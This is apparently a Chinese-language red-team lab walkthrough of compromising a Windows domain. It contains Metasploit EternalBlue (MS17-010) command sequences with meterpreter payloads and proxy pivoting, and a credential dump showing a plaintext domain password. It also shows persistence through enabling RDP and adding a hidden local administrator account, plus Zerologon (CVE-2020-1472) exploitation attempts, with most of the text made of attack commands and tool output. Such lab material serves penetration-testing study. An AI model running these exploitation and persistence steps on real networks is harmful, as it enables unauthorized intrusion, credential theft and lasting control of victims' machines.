** WARNING: connection is not using a post-quantum key exchange algorithm. ** This session may be vulnerable to "store now, decrypt later" attacks. ** The server may need to be upgraded. See https://openssh.com/pq.html saul@192.168.111.20's password: tcp_linux_amd64 100% 2810KB 1.4MB/s 00:01 ** WARNING: connection is not using a post-quantum key exchange algorithm. ** This session may be vulnerable to "store now, decrypt later" attacks. ** The server may need to be upgraded. See https://openssh.com/pq.html saul@192.168.111.20's password: Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 5.4.0-84-generic x86_64)
fscan version: 1.8.4 start infoscan trying RunIcmp2 The current user permissions unable to send icmp packets start ping (icmp) Target 10.0.1.6 is alive (icmp) Target 10.0.1.7 is alive [*] Icmp alive hosts len is: 2 10.0.1.7:445 open 10.0.1.7:139 open 10.0.1.7:135 open 10.0.1.6:22 open 10.0.1.6:8888 open [*] alive ports len is: 5 start vulscan [*] NetInfo [*]10.0.1.7 [->]win7 [->]10.0.1.7 [->]10.0.0.7 [+] MS17-010 10.0.1.7 (Windows 7 Ultimate 7601 Service Pack 1)
然后上MSF
1
msfconsole
然后
1 2 3 4 5 6 7 8
use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 10.0.1.7 set payload windows/x64/meterpreter/bind_tcp set LPORT 4444 set TARGET 1 set ForceExploit true run
结果
1 2 3 4 5 6 7 8 9 10 11 12 13
msf exploit(windows/smb/ms17_010_eternalblue) > run [*] Started reverse TCP handler on 192.168.220.128:4444 [*] 10.0.1.7:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check [-] 10.0.1.7:445 - An SMB Login Error occurred while connecting to the IPC$ tree. [*] 10.0.1.7:445 - Scanned 1 of 1 hosts (100% complete) [-] 10.0.1.7:445 - The target is not vulnerable. [*] 10.0.1.7:445 - Forcing Exploit /usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.37/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+' and '?' was replaced with '*' in regular expression [*] 10.0.1.7:445 - Connecting to target for exploitation. [-] 10.0.1.7:445 - SMB Negotiation Failure -- this often occurs when lsass crashes. The target may reboot in 60 seconds. [*] Exploit completed, but no session was created. msf exploit(windows/smb/ms17_010_eternalblue) >
换
1 2 3 4
set payload windows/x64/meterpreter/bind_tcp set LPORT 1433 show options run
use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 10.0.1.7 set RPORT 445 set TARGET 1 set payload windows/x64/meterpreter/bind_tcp set LPORT 1433 run
setg Proxies socks5:127.0.0.1:1081 setg ReverseAllowProxy true use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 10.0.1.7 set RPORT 445 set TARGET 1 set payload windows/x64/meterpreter/bind_tcp set LPORT 8443 run
Username Domain Password -------- ------ -------- (null) (null) (null) root REDTEAM.LAB Red12345 win7$ REDTEAM.LAB fc a4 85 a3 bf 1c 5b d8 52 cb fc 69 75 d9 7f f4 ae 39 8f 92 2b b5 c5 da dc 8d 89 fb 80 b5 6a a2 68 fe 1a d3 bf 37 02 5c 95 62 c5 f e da 92 16 24 d7 e1 79 e0 08 f0 68 ab 8e ae 70 13 6c 3e 46 03 a2 fe da 2f a4 00 9a 68 e0 61 b5 f3 8a b4 97 76 5f 40 9c c0 e0 bd 85 db 70 d2 c3 9d 11 8a 02 2b 7b ab d6 6d 0d 1f 47 b5 6b 80 67 53 b 4 7f 5f 2c 53 03 37 70 b7 54 b2 20 61 20 df 7f d0 31 a1 c4 f8 19 e0 2e 02 01 58 ed cf 1b c3 db 92 b1 fd 48 e5 c9 46 82 c4 63 c5 48 64 b8 3f ac 74 9f ea b8 3a 77 81 36 28 8a 7d 67 df 50 38 8f ff 6 c a0 23 7b 28 a7 75 bb 3d 8a 02 82 65 38 da 56 1b 36 04 fd 1d 48 18 3d 79 0e 5d a3 f3 68 b4 eb a3 43 05 a0 36 cd 84 3b e8 fd 27 8f 1e 05 42 74 5d 92 19 c0 cb 04 b6 f3 77 f8 8a f7 c4 8b fd 93 fe 6 f 92
meterpreter >
得到密码
1
root:Red12345
接下来做权限维持的
1 2 3 4 5 6 7 8
meterpreter > run post/windows/manage/enable_rdp [*] Enabling Remote Desktop [*] RDP is disabled; enabling it ... [*] Setting Terminal Services service startup mode [*] The Terminal Services service is not set to auto, changing it to auto ... [*] Opening port in local firewall if necessary [*] For cleanup execute Meterpreter resource file: /root/.msf4/loot/20261121211830_default_10.0.1.7_host.windows.cle_169577.txt meterpreter >
然后创建一个普通用户再提升到管理员
1 2
meterpreter > execute -f cmd.exe -H -a '/c net user hack01 1324@cbD /add' meterpreter > execute -f cmd.exe -H -a '/c net localgroup administrators hack01 /add'
___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.7.1 start infoscan (icmp) Target 10.0.0.7 is alive (icmp) Target 10.0.0.12 is alive [*] Icmp alive hosts len is: 2 10.0.0.7:139 open 10.0.0.7:135 open 10.0.0.12:88 open 10.0.0.12:445 open 10.0.0.12:139 open 10.0.0.12:135 open 10.0.0.7:445 open 10.0.0.7:9999 open [*] alive ports len is: 8 start vulscan [+] NetInfo: [*]10.0.0.7 [->]win7 [->]10.0.1.7 [->]10.0.0.7 [+] 10.0.0.7 MS17-010 (Windows 7 Ultimate 7601 Service Pack 1) [+] NetInfo: [*]10.0.0.12 [->]DC [->]10.0.0.12 [*] 10.0.0.7 ╔╗__MSBROWSE__╗\WIN7 Windows 7 Ultimate 7601 Service Pack 1 [+] 10.0.0.12 MS17-010 (Windows Server 2012 R2 Datacenter 9600) [*] 10.0.0.12 [+]DC REDTEAM\DC Windows Server 2012 R2 Datacenter 9600 已完成 8/8 [*] 扫描结束,耗时: 16.8610007s C:\Windows\Temp>
接下来就可以打Zerologon
然后我用MSF自带的,指令稍微麻烦一点,也不算很麻烦其实
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
msf > search zerologon
Matching Modules ================
# Full Name Disclosure Date Rank Check Name - --------- --------------- ---- ----- ---- 0 auxiliary/admin/dcerpc/cve_2020_1472_zerologon . normal Yes Netlogon Weak Cryptographic Authentication 1 \_ action: REMOVE . . . Remove the machine account password 2 \_ action: RESTORE . . . Restore the machine account password
Interact with a module by name or index. For example info 2, use 2 or use auxiliary/admin/dcerpc/cve_2020_1472_zerologon After interacting with a module you can manually set a ACTION with set ACTION 'RESTORE'
During handling of the above exception, another exception occurred:
Traceback (most recent call last): File "/root/zerologon-tools/cve-2020-1472-exploit.py", line 126, in <module> main() ~~~~^^ File "/root/zerologon-tools/cve-2020-1472-exploit.py", line 123, in main perform_attack('\\\\' + dc_name, dc_ip, victim) ~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/root/zerologon-tools/cve-2020-1472-exploit.py", line 70, in perform_attack binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') File "/usr/lib/python3/dist-packages/impacket/dcerpc/v5/epm.py", line 1261, in hept_map dce.connect() ~~~~~~~~~~~^^ File "/usr/lib/python3/dist-packages/impacket/dcerpc/v5/rpcrt.py", line 1359, in connect return self._transport.connect() ~~~~~~~~~~~~~~~~~~~~~~~^^ File "/usr/lib/python3/dist-packages/impacket/dcerpc/v5/transport.py", line 357, in connect raise DCERPCException("Could not connect: %s" % msg) impacket.dcerpc.v5.rpcrt.DCERPCException: Could not connect: [Errno 111] Connection refused ┌──(root㉿kali)-[~/zerologon-tools] └─#